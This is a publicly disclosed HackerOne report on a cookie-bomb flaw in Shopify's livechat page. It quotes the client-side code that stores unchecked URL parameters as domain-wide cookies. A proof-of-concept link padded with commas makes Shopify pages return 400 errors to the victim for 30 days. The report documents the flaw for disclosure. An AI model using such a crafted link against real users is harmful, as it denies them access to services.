HexBrain

Shopify · Report #105363

[livechat.shopify.com] Cookie bomb at customer chats

Validstatus
6upvotes
19 Jan 2016disclosed

Summary

Our customer support application would store a value from the query string in a cookie without checking the length of the value, which could cause subsequent requests to the app to be rejected if the total length of the cookie was too long.

How it was found

When we visit the https://livechat.shopify.com/customer/chats/new page the ref and ssid URL parameters are used to set cookie values the way as follows:

var getURLParameter = function(name) { return decodeURIComponent((new RegExp('[?|&]' + name + '=' + '([^&;]+?)(&|#|;|$)').exec(location.search)||[,""])[1].replace(/+/g, '%20'))||null; }

var brandedKeyword = function(ref) { var match1 = new RegExp("((google|yahoo|bing)(.)&?q=([^&])shopify)", "gi").test(ref); return (match1); }

var ref = getURLParameter('ref'); var ssid = getURLParameter('ssid');

if (ref && !brandedKeyword(document.referrer)) { var days = 30; var expire = new Date(today + days1000606024); setCookieWithExpiration('source', ref , expire); if (ssid) { setCookieWithExpiration('ssid', ssid , expire); } }

var setCookieWithExpiration = function(key, value, expire) { var match = document.location.hostname.match(/shopify..*/) var domain if(match){ domain = '.' + match[0] } else { domain = '.shopify.com' } document.cookie = key + "=" + escape(value) + ";path=/" +";expires=" + expire.toUTCString() + ';domain=' + domain; };

As we can see, the values lengths are not taken into consideration:

document.cookie = key + "=" + escape(value) + ";path=/" +";expires=" + expire.toUTCString() + ';domain=' + domain;

Furthermore, the escape function is used, which means a value consisting of special symbols will become three times longer. For example ,,, will turn into %2C. That means an attacker can create a valid link of proper length accepted both by the browser and the server, which however will make the cookie too long, so after his victim visits this link, https://livechat.shopify.com will stop working for him for 30 days (and the other shopify pages as well, cause these cookies are set for the .shopify.com domain).

PoC:

  1. Go to https://livechat.shopify.com/customer/chats/new?ref=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,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,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
  2. Go to https://livechat.shopify.com/customer/chats/new — result: 400 error
  3. Go to https://www.shopify.com/ — result: 400 error
  4. Go to https://app.shopify.com/services/partners/auth/login — result: 400 error

Tested with Firefox 42.0.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original